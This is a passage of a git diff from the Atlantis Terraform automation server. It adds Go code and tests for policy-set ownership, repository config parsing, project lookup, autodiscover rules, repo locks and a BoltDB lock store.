valid.DefaultRepoLocks, + PolicyCheck: true, // Project will have policy check as true but since it is globally disable it wont actually run + CustomPolicyCheck: false, + }, + }, + } + for name, c := range cases { + t.Run(name, func(t *testing.T) { + tmp := t.TempDir() + var global valid.GlobalCfg + path := filepath.Join(tmp, "config.yaml") + Ok(t, os.WriteFile(path, []byte(c.gCfg), 0600)) + var err error + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: false, + PolicyCheckEnabled: c.gPolicyCheck, + } + + global, err = (&config.ParserValidator{}).ParseGlobalCfg(path, valid.NewGlobalCfgFromArgs(globalCfgArgs)) + Ok(t, err) + + global.PolicySets = emptyPolicySets + Equals(t, c.exp, global.MergeProjectCfg(logging.NewNoopLogger(t), c.repoID, c.proj, valid.RepoCfg{Workflows: c.repoWorkflows})) + }) + } +} + +// String is a helper routine that allocates a new string value +// to store v and returns a pointer to it. +func String(v string) *string { return &v } + +// Bool is a helper routine that allocates a new bool value +// to store v and returns a pointer to it. +func Bool(v bool) *bool { return &v } diff --git a/server/core/config/valid/policies.go b/server/core/config/valid/policies.go new file mode 100644 index 0000000000..718338d05b --- /dev/null +++ b/server/core/config/valid/policies.go @@ -0,0 +1,83 @@ +package valid + +import ( + "slices" + "strings" + + version "github.com/hashicorp/go-version" +) + +const ( + LocalPolicySet string = "local" + GithubPolicySet string = "github" +) + +// PolicySets defines version of policy checker binary(conftest) and a list of +// PolicySet objects. PolicySets struct is used by PolicyCheck workflow to build +// context to enforce policies. +type PolicySets struct { + Version *version.Version + Owners PolicyOwners + ApproveCount int + PolicySets []PolicySet +} + +type PolicyOwners struct { + Users []string + Teams []string +} + +type PolicySet struct { + Source string + Path string + Name string + ApproveCount int + Owners PolicyOwners + PreventSelfApprove bool +} + +func (p *PolicySets) HasPolicies() bool { + return len(p.PolicySets) > 0 +} + +// Check if any level of policy owners includes teams +func (p *PolicySets) HasTeamOwners() bool { + hasTeamOwners := len(p.Owners.Teams) > 0 + for _, policySet := range p.PolicySets { + if len(policySet.Owners.Teams) > 0 { + hasTeamOwners = true + } + } + return hasTeamOwners +} + +func (o *PolicyOwners) IsOwner(username string, userTeams []string) bool { + for _, uname := range o.Users { + if strings.EqualFold(uname, username) { + return true + } + } + + for _, orgTeamName := range o.Teams { + for _, userTeamName := range userTeams { + if strings.EqualFold(orgTeamName, userTeamName) { + return true + } + } + } + + return false +} + +// Return all owner teams from all policy sets +func (p *PolicySets) AllTeams() []string { + teams := p.Owners.Teams + for _, policySet := range p.PolicySets { + for _, team := range policySet.Owners.Teams { + if !slices.Contains(teams, team) { + teams = append(teams, team) + } + } + } + return teams +} diff --git a/server/core/config/valid/policies_test.go b/server/core/config/valid/policies_test.go new file mode 100644 index 0000000000..5147dd8686 --- /dev/null +++ b/server/core/config/valid/policies_test.go @@ -0,0 +1,185 @@ +package valid_test + +import ( + "testing" + + "github.com/runatlantis/atlantis/server/core/config/valid" + . "github.com/runatlantis/atlantis/testing" +) + +func TestPoliciesConfig_HasTeamOwners(t *testing.T) { + cases := []struct { + description string + input valid.PolicySets + expResult bool + }{ + { + description: "no team owners", + input: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Name: "policy1", + }, + }, + }, + expResult: false, + }, + { + description: "has top-level team owner", + input: valid.PolicySets{ + Owners: valid.PolicyOwners{ + Teams: []string{ + "someteam", + }, + }, + PolicySets: []valid.PolicySet{ + { + Name: "policy1", + }, + }, + }, + expResult: true, + }, + { + description: "has policy-level team owner", + input: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Name: "policy1", + Owners: valid.PolicyOwners{ + Teams: []string{ + "someteam", + }, + }, + }, + }, + }, + expResult: true, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + result := c.input.HasTeamOwners() + Equals(t, c.expResult, result) + }) + } +} + +func TestPoliciesConfig_IsOwners(t *testing.T) { + user := "testuser" + userTeams := []string{"testuserteam"} + + cases := []struct { + description string + input valid.PolicyOwners + expResult bool + }{ + { + description: "user is not owner", + input: valid.PolicyOwners{ + Users: []string{ + "someotheruser", + }, + Teams: []string{ + "someotherteam", + }, + }, + expResult: false, + }, + { + description: "user is owner", + input: valid.PolicyOwners{ + Users: []string{ + "testuser", + "someotheruser", + }, + Teams: []string{ + "someotherteam", + }, + }, + expResult: true, + }, + { + description: "user is owner via team membership", + input: valid.PolicyOwners{ + Users: []string{ + "someotheruser", + }, + Teams: []string{ + "someotherteam", + "testuserteam", + }, + }, + expResult: true, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + result := c.input.IsOwner(user, userTeams) + Equals(t, c.expResult, result) + }) + } +} + +func TestPoliciesConfig_AllTeams(t *testing.T) { + cases := []struct { + description string + input valid.PolicySets + expResult []string + }{ + { + description: "has only top-level team owner", + input: valid.PolicySets{ + Owners: valid.PolicyOwners{ + Teams: []string{ + "team1", + }, + }, + }, + expResult: []string{"team1"}, + }, + { + description: "has only policy-level team owner", + input: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Name: "policy1", + Owners: valid.PolicyOwners{ + Teams: []string{ + "team2", + }, + }, + }, + }, + }, + expResult: []string{"team2"}, + }, + { + description: "has both top-level and policy-level team owners", + input: valid.PolicySets{ + Owners: valid.PolicyOwners{ + Teams: []string{ + "team1", + }, + }, + PolicySets: []valid.PolicySet{ + { + Name: "policy1", + Owners: valid.PolicyOwners{ + Teams: []string{ + "team2", + }, + }, + }, + }, + }, + expResult: []string{"team1", "team2"}, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + result := c.input.AllTeams() + Equals(t, c.expResult, result) + }) + } +} diff --git a/server/core/config/valid/repo_cfg.go b/server/core/config/valid/repo_cfg.go new file mode 100644 index 0000000000..afdb31412b --- /dev/null +++ b/server/core/config/valid/repo_cfg.go @@ -0,0 +1,243 @@ +// Package valid contains the structs representing the atlantis.yaml config +// after it's been parsed and validated. +package valid + +import ( + "fmt" + "log" + "regexp" + "strings" + + "github.com/bmatcuk/doublestar/v4" + version "github.com/hashicorp/go-version" +) + +// RepoCfg is the atlantis.yaml config after it's been parsed and validated. +type RepoCfg struct { + // Version is the version of the atlantis YAML file. + Version int + Projects []Project + Workflows map[string]Workflow + PolicySets PolicySets + Automerge *bool + AutoDiscover *AutoDiscover + ParallelApply *bool + ParallelPlan *bool + ParallelPolicyCheck *bool + DeleteSourceBranchOnMerge *bool + RepoLocks *RepoLocks + CustomPolicyCheck *bool + EmojiReaction string + AllowedRegexpPrefixes []string + AbortOnExecutionOrderFail bool + SilencePRComments []string +} + +func (r RepoCfg) FindProjectsByDirWorkspace(repoRelDir string, workspace string) []Project { + var ps []Project + for _, p := range r.Projects { + if p.Dir == repoRelDir && p.Workspace == workspace { + ps = append(ps, p) + } + } + return ps +} + +// FindProjectsByDir returns all projects that are in dir. +func (r RepoCfg) FindProjectsByDir(dir string) []Project { + var ps []Project + for _, p := range r.Projects { + if p.Dir == dir { + ps = append(ps, p) + } + } + return ps +} + +func (r RepoCfg) FindProjectByName(name string) *Project { + for _, p := range r.Projects { + if p.Name != nil && *p.Name == name { + return &p + } + } + return nil +} + +// FindProjectsByName returns all projects that match with name. +func (r RepoCfg) FindProjectsByName(name string) []Project { + var ps []Project + sanitizedName := "^" + name + "$" + for _, p := range r.Projects { + if p.Name != nil { + if match, _ := regexp.MatchString(sanitizedName, *p.Name); match { + ps = append(ps, p) + } + } + } + // If we found more than one project then we need to make sure that the regex is allowed. + if len(ps) > 1 && !isRegexAllowed(name, r.AllowedRegexpPrefixes) { + log.Printf("Found more than one project for regex %q. This regex is not on the allow list.", name) + return nil + } + return ps +} + +func isRegexAllowed(name string, allowedRegexpPrefixes []string) bool { + if len(allowedRegexpPrefixes) == 0 { + return true + } + for _, allowedRegexPrefix := range allowedRegexpPrefixes { + if strings.HasPrefix(name, allowedRegexPrefix) { + return true + } + } + return false +} + +// This function returns a final true/false decision for whether AutoDiscover is enabled +// for a repo. It takes into account the defaultAutoDiscoverMode when there is no explicit +// repo config. The defaultAutoDiscoverMode param should be understood as the default +// AutoDiscover mode as may be set via CLI params or server side repo config. +func (r RepoCfg) AutoDiscoverEnabled(defaultAutoDiscoverMode AutoDiscoverMode) bool { + autoDiscoverMode := defaultAutoDiscoverMode + if r.AutoDiscover != nil { + autoDiscoverMode = r.AutoDiscover.Mode + } + + if autoDiscoverMode == AutoDiscoverAutoMode { + // AutoDiscover is enabled by default when no projects are defined + return len(r.Projects) == 0 + } + + return autoDiscoverMode == AutoDiscoverEnabledMode +} + +func (r RepoCfg) IsPathIgnoredForAutoDiscover(path string) bool { + if r.AutoDiscover == nil || r.AutoDiscover.IgnorePaths == nil { + return false + } + for i := 0; i < len(r.AutoDiscover.IgnorePaths); i++ { + // Per documentation https://pkg.go.dev/github.com/bmatcuk/doublestar, if you run ValidatePattern() + // against a pattern, which we do, you can run MatchUnvalidated for a slight performance gain, + // and also no need to explicitly check for an error + if doublestar.MatchUnvalidated(r.AutoDiscover.IgnorePaths[i], path) { + return true + } + } + return false +} + +// validateWorkspaceAllowed returns an error if repoCfg defines projects in +// repoRelDir but none of them use workspace. We want this to be an error +// because if users have gone to the trouble of defining projects in repoRelDir +// then it's likely that if we're running a command for a workspace that isn't +// defined then they probably just typed the workspace name wrong. +func (r RepoCfg) ValidateWorkspaceAllowed(repoRelDir string, workspace string) error { + projects := r.FindProjectsByDir(repoRelDir) + + // If that directory doesn't have any projects configured then we don't + // enforce workspace names. + if len(projects) == 0 { + return nil + } + + var configuredSpaces []string + for _, p := range projects { + if p.Workspace == workspace { + return nil + } + configuredSpaces = append(configuredSpaces, p.Workspace) + } + + return fmt.Errorf( + "running commands in workspace %q is not allowed because this"+ + " directory is only configured for the following workspaces: %s", + workspace, + strings.Join(configuredSpaces, ", "), + ) +} + +type Project struct { + Dir string + BranchRegex *regexp.Regexp + Workspace string + Name *string + WorkflowName *string + TerraformDistribution *string + TerraformVersion *version.Version + Autoplan Autoplan + PlanRequirements []string + ApplyRequirements []string + ImportRequirements []string + DependsOn []string + DeleteSourceBranchOnMerge *bool + RepoLocking *bool + RepoLocks *RepoLocks + ExecutionOrderGroup int + PolicyCheck *bool + CustomPolicyCheck *bool + SilencePRComments []string +} + +// GetName returns the name of the project or an empty string if there is no +// project name. +func (p Project) GetName() string { + if p.Name != nil { + return *p.Name + } + return "" +} + +type Autoplan struct { + WhenModified []string + Enabled bool +} + +// PostProcessRunOutputOption is an enum of options for post-processing RunCommand output +type PostProcessRunOutputOption string + +const ( + PostProcessRunOutputShow = "show" + PostProcessRunOutputHide = "hide" + PostProcessRunOutputStripRefreshing = "strip_refreshing" +) + +type Stage struct { + Steps []Step +} + +// CommandShell sets up the shell for command execution +type CommandShell struct { + Shell string + ShellArgs []string +} + +func (s CommandShell) String() string { + return fmt.Sprintf("%s %s", s.Shell, strings.Join(s.ShellArgs, " ")) +} + +type Step struct { + StepName string + ExtraArgs []string + // RunCommand is either a custom run step or the command to run + // during an env step to populate the environment variable dynamically. + RunCommand string + // Output is option for post-processing a RunCommand output + Output PostProcessRunOutputOption + // EnvVarName is the name of the + // environment variable that should be set by this step. + EnvVarName string + // EnvVarValue is the value to set EnvVarName to. + EnvVarValue string + // The Shell to use for RunCommand execution. + RunShell *CommandShell +} + +type Workflow struct { + Name string + Apply Stage + Plan Stage + PolicyCheck Stage + Import Stage + StateRm Stage +} diff --git a/server/core/config/valid/repo_cfg_test.go b/server/core/config/valid/repo_cfg_test.go new file mode 100644 index 0000000000..c35870ee60 --- /dev/null +++ b/server/core/config/valid/repo_cfg_test.go @@ -0,0 +1,417 @@ +package valid_test + +import ( + "testing" + + validation "github.com/go-ozzo/ozzo-validation" + version "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" + . "github.com/runatlantis/atlantis/testing" +) + +func TestConfig_FindProjectsByDir(t *testing.T) { + tfVersion, _ := version.NewVersion("v0.11.0") + cases := []struct { + description string + nameRegex string + input valid.RepoCfg + expProjects []valid.Project + }{ + { + description: "Find projects with 'dev' prefix as allowed prefix", + nameRegex: "dev.*", + input: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Name: String("dev_terragrunt_myproject"), + Workspace: "myworkspace", + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"approved"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "myworkflow": { + Name: "myworkflow", + Apply: valid.DefaultApplyStage, + Plan: valid.DefaultPlanStage, + PolicyCheck: valid.DefaultPolicyCheckStage, + }, + }, + AllowedRegexpPrefixes: []string{"dev", "staging"}, + }, + expProjects: []valid.Project{ + { + Dir: ".", + Name: String("dev_terragrunt_myproject"), + Workspace: "myworkspace", + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"approved"}, + }, + }, + }, + { + description: "Only find projects with allowed prefix", + nameRegex: ".*", + input: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Name: String("dev_terragrunt_myproject"), + Workspace: "myworkspace", + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"approved"}, + }, + { + Dir: ".", + Name: String("staging_terragrunt_myproject"), + Workspace: "myworkspace", + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"approved"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "myworkflow": { + Name: "myworkflow", + Apply: valid.DefaultApplyStage, + Plan: valid.DefaultPlanStage, + PolicyCheck: valid.DefaultPolicyCheckStage, + }, + }, + AllowedRegexpPrefixes: []string{"dev", "staging"}, + }, + expProjects: nil, + }, + { + description: "Find all projects without restrictions of allowed prefix", + nameRegex: ".*", + input: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Name: String("dev_terragrunt_myproject"), + Workspace: "myworkspace", + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"approved"}, + }, + { + Dir: ".", + Name: String("staging_terragrunt_myproject"), + Workspace: "myworkspace", + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"approved"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "myworkflow": { + Name: "myworkflow", + Apply: valid.DefaultApplyStage, + Plan: valid.DefaultPlanStage, + PolicyCheck: valid.DefaultPolicyCheckStage, + }, + }, + AllowedRegexpPrefixes: nil, + }, + expProjects: []valid.Project{ + { + Dir: ".", + Name: String("dev_terragrunt_myproject"), + Workspace: "myworkspace", + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"approved"}, + }, + { + Dir: ".", + Name: String("staging_terragrunt_myproject"), + Workspace: "myworkspace", + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"approved"}, + }, + }, + }, + { + description: "Always find exact matches even if the prefix is not allowed", + nameRegex: ".*", + input: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Name: String("prod_terragrunt_myproject"), + Workspace: "myworkspace", + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"approved"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "myworkflow": { + Name: "myworkflow", + Apply: valid.DefaultApplyStage, + Plan: valid.DefaultPlanStage, + PolicyCheck: valid.DefaultPolicyCheckStage, + }, + }, + AllowedRegexpPrefixes: []string{"dev", "staging"}, + }, + expProjects: []valid.Project{ + { + Dir: ".", + Name: String("prod_terragrunt_myproject"), + Workspace: "myworkspace", + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"approved"}, + }, + }, + }, + } + validation.ErrorTag = "yaml" + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + projects := c.input.FindProjectsByName(c.nameRegex) + Equals(t, c.expProjects, projects) + }) + } +} + +func TestConfig_AutoDiscoverEnabled(t *testing.T) { + cases := []struct { + description string + repoAutoDiscover valid.AutoDiscoverMode + defaultAutoDiscover valid.AutoDiscoverMode + projects []valid.Project + expEnabled bool + }{ + { + description: "repo disabled autodiscover default enabled", + repoAutoDiscover: valid.AutoDiscoverDisabledMode, + defaultAutoDiscover: valid.AutoDiscoverEnabledMode, + expEnabled: false, + }, + { + description: "repo disabled autodiscover default disabled", + repoAutoDiscover: valid.AutoDiscoverDisabledMode, + defaultAutoDiscover: valid.AutoDiscoverDisabledMode, + expEnabled: false, + }, + { + description: "repo enabled autodiscover default enabled", + repoAutoDiscover: valid.AutoDiscoverEnabledMode, + defaultAutoDiscover: valid.AutoDiscoverEnabledMode, + expEnabled: true, + }, + { + description: "repo enabled autodiscover default disabled", + repoAutoDiscover: valid.AutoDiscoverEnabledMode, + defaultAutoDiscover: valid.AutoDiscoverDisabledMode, + expEnabled: true, + }, + { + description: "repo set auto autodiscover with no projects default enabled", + repoAutoDiscover: valid.AutoDiscoverAutoMode, + defaultAutoDiscover: valid.AutoDiscoverEnabledMode, + expEnabled: true, + }, + { + description: "repo set auto autodiscover with no projects default disabled", + repoAutoDiscover: valid.AutoDiscoverAutoMode, + defaultAutoDiscover: valid.AutoDiscoverDisabledMode, + expEnabled: true, + }, + { + description: "repo set auto autodiscover with a project default enabled", + repoAutoDiscover: valid.AutoDiscoverAutoMode, + defaultAutoDiscover: valid.AutoDiscoverEnabledMode, + projects: []valid.Project{{}}, + expEnabled: false, + }, + { + description: "repo set auto autodiscover with a project default disabled", + repoAutoDiscover: valid.AutoDiscoverAutoMode, + defaultAutoDiscover: valid.AutoDiscoverDisabledMode, + projects: []valid.Project{{}}, + expEnabled: false, + }, + { + description: "repo unset autodiscover with no projects default enabled", + defaultAutoDiscover: valid.AutoDiscoverEnabledMode, + expEnabled: true, + }, + { + description: "repo unset autodiscover with no projects default disabled", + defaultAutoDiscover: valid.AutoDiscoverDisabledMode, + expEnabled: false, + }, + { + description: "repo unset autodiscover with no projects default auto", + defaultAutoDiscover: valid.AutoDiscoverAutoMode, + expEnabled: true, + }, + { + description: "repo unset autodiscover with a project default enabled", + projects: []valid.Project{{}}, + defaultAutoDiscover: valid.AutoDiscoverEnabledMode, + expEnabled: true, + }, + { + description: "repo unset autodiscover with a project default disabled", + projects: []valid.Project{{}}, + defaultAutoDiscover: valid.AutoDiscoverDisabledMode, + expEnabled: false, + }, + { + description: "repo unset autodiscover with a project default auto", + projects: []valid.Project{{}}, + defaultAutoDiscover: valid.AutoDiscoverAutoMode, + expEnabled: false, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + r := valid.RepoCfg{ + Projects: c.projects, + AutoDiscover: nil, + } + if c.repoAutoDiscover != "" { + r.AutoDiscover = &valid.AutoDiscover{ + Mode: c.repoAutoDiscover, + } + } + enabled := r.AutoDiscoverEnabled(c.defaultAutoDiscover) + Equals(t, c.expEnabled, enabled) + }) + } +} + +func TestConfig_IsPathIgnoredForAutoDiscover(t *testing.T) { + cases := []struct { + description string + repoCfg valid.RepoCfg + path string + expIgnored bool + }{ + { + description: "auto discover unconfigured", + repoCfg: valid.RepoCfg{}, + path: "foo", + expIgnored: false, + }, + { + description: "auto discover configured, but not path", + repoCfg: valid.RepoCfg{ + AutoDiscover: &valid.AutoDiscover{}, + }, + path: "foo", + expIgnored: false, + }, + { + description: "paths do not match pattern", + repoCfg: valid.RepoCfg{ + AutoDiscover: &valid.AutoDiscover{ + IgnorePaths: []string{ + "bar", + }, + }, + }, + path: "foo", + expIgnored: false, + }, + { + description: "path does match pattern", + repoCfg: valid.RepoCfg{ + AutoDiscover: &valid.AutoDiscover{ + IgnorePaths: []string{ + "fo?", + }}, + }, + path: "foo", + expIgnored: true, + }, + { + description: "one path matches pattern, another doesn't", + repoCfg: valid.RepoCfg{ + AutoDiscover: &valid.AutoDiscover{ + IgnorePaths: []string{ + "fo*", + "ba*", + }}, + }, + path: "foo", + expIgnored: true, + }, + { + description: "long path does match pattern", + repoCfg: valid.RepoCfg{ + AutoDiscover: &valid.AutoDiscover{ + IgnorePaths: []string{ + "foo/*/baz", + }, + }, + }, + path: "foo/bar/baz", + expIgnored: true, + }, + { + description: "long path does not match pattern", + repoCfg: valid.RepoCfg{ + AutoDiscover: &valid.AutoDiscover{ + IgnorePaths: []string{ + "foo/*/baz", + }, + }, + }, + path: "foo/bar/boo", + expIgnored: false, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + + ignored := c.repoCfg.IsPathIgnoredForAutoDiscover(c.path) + Equals(t, c.expIgnored, ignored) + }) + } +} diff --git a/server/core/config/valid/repo_locks.go b/server/core/config/valid/repo_locks.go new file mode 100644 index 0000000000..7a4a77a873 --- /dev/null +++ b/server/core/config/valid/repo_locks.go @@ -0,0 +1,19 @@ +package valid + +// RepoLocksMode enum +type RepoLocksMode string + +var DefaultRepoLocksMode = RepoLocksOnPlanMode +var DefaultRepoLocks = RepoLocks{ + Mode: DefaultRepoLocksMode, +} + +const ( + RepoLocksDisabledMode RepoLocksMode = "disabled" + RepoLocksOnPlanMode RepoLocksMode = "on_plan" + RepoLocksOnApplyMode RepoLocksMode = "on_apply" +) + +type RepoLocks struct { + Mode RepoLocksMode +} diff --git a/server/core/config/valid/team_authz.go b/server/core/config/valid/team_authz.go new file mode 100644 index 0000000000..863b3d5c63 --- /dev/null +++ b/server/core/config/valid/team_authz.go @@ -0,0 +1,6 @@ +package valid + +type TeamAuthz struct { + Command string `yaml:"command" json:"command"` + Args []string `yaml:"args" json:"args"` +} diff --git a/server/events/yaml/valid/valid.go b/server/core/config/valid/valid.go similarity index 100% rename from server/events/yaml/valid/valid.go rename to server/core/config/valid/valid.go diff --git a/server/core/db/boltdb.go b/server/core/db/boltdb.go new file mode 100644 index 0000000000..12972fab60 --- /dev/null +++ b/server/core/db/boltdb.go @@ -0,0 +1,524 @@ +// Package db handles our database layer. +package db + +import ( + "bytes" + "encoding/json" + "fmt" + "os" + "path" + "strings" + "time" + + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + bolt "go.etcd.io/bbolt" +) + +// BoltDB is a database using BoltDB +type BoltDB struct { + db *bolt.DB + locksBucketName []byte + pullsBucketName []byte + globalLocksBucketName []byte +} + +const ( + locksBucketName = "runLocks" + pullsBucketName = "pulls" + globalLocksBucketName = "globalLocks" + pullKeySeparator = "::" +) + +// New returns a valid locker. We need to be able to write to dataDir +// since bolt stores its data as a file +func New(dataDir string) (*BoltDB, error) { + if err := os.MkdirAll(dataDir, 0700); err != nil { + return nil, errors.Wrap(err, "creating data dir") + } + db, err := bolt.Open(path.Join(dataDir, "atlantis.db"), 0600, &bolt.Options{Timeout: 1 * time.Second}) + if err != nil { + if err.Error() == "timeout" { + return nil, errors.New("starting BoltDB: timeout (a possible cause is another Atlantis instance already running)") + } + return nil, errors.Wrap(err, "starting BoltDB") + } + + // Create the buckets. + err = db.Update(func(tx *bolt.Tx) error { + if _, err = tx.CreateBucketIfNotExists([]byte(locksBucketName)); err != nil { + return errors.Wrapf(err, "creating bucket %q", locksBucketName) + } + if _, err = tx.CreateBucketIfNotExists([]byte(pullsBucketName)); err != nil { + return errors.Wrapf(err, "creating bucket %q", pullsBucketName) + } + if _, err = tx.CreateBucketIfNotExists([]byte(globalLocksBucketName)); err != nil { + return errors.Wrapf(err, "creating bucket %q", globalLocksBucketName) + } + return nil + }) + if err != nil { + return nil, errors.Wrap(err, "starting BoltDB") + } + // todo: close BoltDB when server is sigtermed + return &BoltDB{ + db: db, + locksBucketName: []byte(locksBucketName), + pullsBucketName: []byte(pullsBucketName), + globalLocksBucketName: []byte(globalLocksBucketName), + }, nil +} + +// NewWithDB is used for testing. +func NewWithDB(db *bolt.DB, bucket string, globalBucket string) (*BoltDB, error) { + return &BoltDB{ + db: db, + locksBucketName: []byte(bucket), + pullsBucketName: []byte(pullsBucketName), + globalLocksBucketName: []byte(globalBucket), + }, nil +} + +// TryLock attempts to create a new lock. If the lock is +// acquired, it will return true and the lock returned will be newLock. +// If the lock is not acquired, it will return false and the current +// lock that is preventing this lock from being acquired. +func (b *BoltDB) TryLock(newLock models.ProjectLock) (bool, models.ProjectLock, error) { + var lockAcquired bool + var currLock models.ProjectLock + key := b.lockKey(newLock.Project, newLock.Workspace) + newLockSerialized, _ := json.Marshal(newLock) + transactionErr := b.db.Update(func(tx *bolt.Tx) error { + bucket := tx.Bucket(b.locksBucketName) + + // if there is no run at that key then we're free to create the lock + currLockSerialized := bucket.Get([]byte(key)) + if currLockSerialized == nil { + // This will only error on readonly buckets, it's okay to ignore. + bucket.Put([]byte(key), newLockSerialized) // nolint: errcheck + lockAcquired = true + currLock = newLock + return nil + } + + // otherwise the lock fails, return to caller the run that's holding the lock + if err := json.Unmarshal(currLockSerialized, &currLock); err != nil { + return errors.Wrap(err, "failed to deserialize current lock") + } + lockAcquired = false + return nil + }) + + if transactionErr != nil { + return false, currLock, errors.Wrap(transactionErr, "DB transaction failed") + } + + return lockAcquired, currLock, nil +} + +// Unlock attempts to unlock the project and workspace. +// If there is no lock, then it will return a nil pointer. +// If there is a lock, then it will delete it, and then return a pointer +// to the deleted lock. +func (b *BoltDB) Unlock(p models.Project, workspace string) (*models.ProjectLock, error) { + var lock models.ProjectLock + foundLock := false + key := b.lockKey(p, workspace) + err := b.db.Update(func(tx *bolt.Tx) error { + bucket := tx.Bucket(b.locksBucketName) + serialized := bucket.Get([]byte(key)) + if serialized != nil { + if err := json.Unmarshal(serialized, &lock); err != nil { + return errors.Wrap(err, "failed to deserialize lock") + } + foundLock = true + } + return bucket.Delete([]byte(key)) + }) + if err != nil { + err = errors.Wrap(err, "DB transaction failed") + } + if foundLock { + return &lock, err + } + return nil, err +} + +// List lists all current locks. +func (b *BoltDB) List() ([]models.ProjectLock, error) { + var locks []models.ProjectLock + var locksBytes [][]byte + err := b.db.View(func(tx *bolt.Tx) error { + bucket := tx.Bucket(b.locksBucketName) + c := bucket.Cursor() + for k, v := c.First(); k != nil; k, v = c.Next() { + locksBytes = append(locksBytes, v) + } + return nil + }) + if err != nil { + return locks, errors.Wrap(err, "DB transaction failed") + } + + // deserialize bytes into the proper objects + for k, v := range locksBytes { + var lock models.ProjectLock + if err := json.Unmarshal(v, &lock); err != nil { + return locks, errors.Wrap(err, fmt.Sprintf("failed to deserialize lock at key '%d'", k)) + } + locks = append(locks, lock) + } + + return locks, nil +} + +// LockCommand attempts to create a new lock for a CommandName. +// If the lock doesn't exists, it will create a lock and return a pointer to it. +// If the lock already exists, it will return an "lock already exists" error +func (b *BoltDB) LockCommand(cmdName command.Name, lockTime time.Time) (*command.Lock, error) { + lock := command.Lock{ + CommandName: cmdName, + LockMetadata: command.LockMetadata{ + UnixTime: lockTime.Unix(), + }, + } + + newLockSerialized, _ := json.Marshal(lock) + transactionErr := b.db.Update(func(tx *bolt.Tx) error { + bucket := tx.Bucket(b.globalLocksBucketName) + + currLockSerialized := bucket.Get([]byte(b.commandLockKey(cmdName))) + if currLockSerialized != nil { + return errors.New("lock already exists") + } + + // This will only error on readonly buckets, it's okay to ignore. + bucket.Put([]byte(b.commandLockKey(cmdName)), newLockSerialized) // nolint: errcheck + return nil + }) + + if transactionErr != nil { + return nil, errors.Wrap(transactionErr, "db transaction failed") + } + + return &lock, nil +} + +// UnlockCommand removes CommandName lock if present. +// If there are no lock it returns an error. +func (b *BoltDB) UnlockCommand(cmdName command.Name) error { + transactionErr := b.db.Update(func(tx *bolt.Tx) error { + bucket := tx.Bucket(b.globalLocksBucketName) + + if l := bucket.Get([]byte(b.commandLockKey(cmdName))); l == nil { + return errors.New("no lock exists") + } + + return bucket.Delete([]byte(b.commandLockKey(cmdName))) + }) + + if transactionErr != nil { + return errors.Wrap(transactionErr, "db transaction failed") + } + + return nil +} + +// CheckCommandLock checks if CommandName lock was set. +// If the lock exists return the pointer to the lock object, otherwise return nil +func (b *BoltDB) CheckCommandLock(cmdName command.Name) (*command.Lock, error) { + cmdLock := command.Lock{} + + found := false + + err := b.db.View(func(tx *bolt.Tx) error { + bucket := tx.Bucket(b.globalLocksBucketName) + + serializedLock := bucket.Get([]byte(b.commandLockKey(cmdName))) + + if serializedLock != nil { + if err := json.Unmarshal(serializedLock, &cmdLock); err != nil { + return errors.Wrap(err, "failed to deserialize UserConfig") + } + found = true + } + + return nil + }) + + if found { + return &cmdLock, err + } + + return nil, err +} + +// UnlockByPull deletes all locks associated with that pull request and returns them. +func (b *BoltDB) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) { + var locks []models.ProjectLock + err := b.db.View(func(tx *bolt.Tx) error { + c := tx.Bucket(b.locksBucketName).Cursor() + + // we can use the repoFullName as a prefix search since that's the first part of the key + for k, v := c.Seek([]byte(repoFullName)); k != nil && bytes.HasPrefix(k, []byte(repoFullName)); k, v = c.Next() { + var lock models.ProjectLock + if err := json.Unmarshal(v, &lock); err != nil 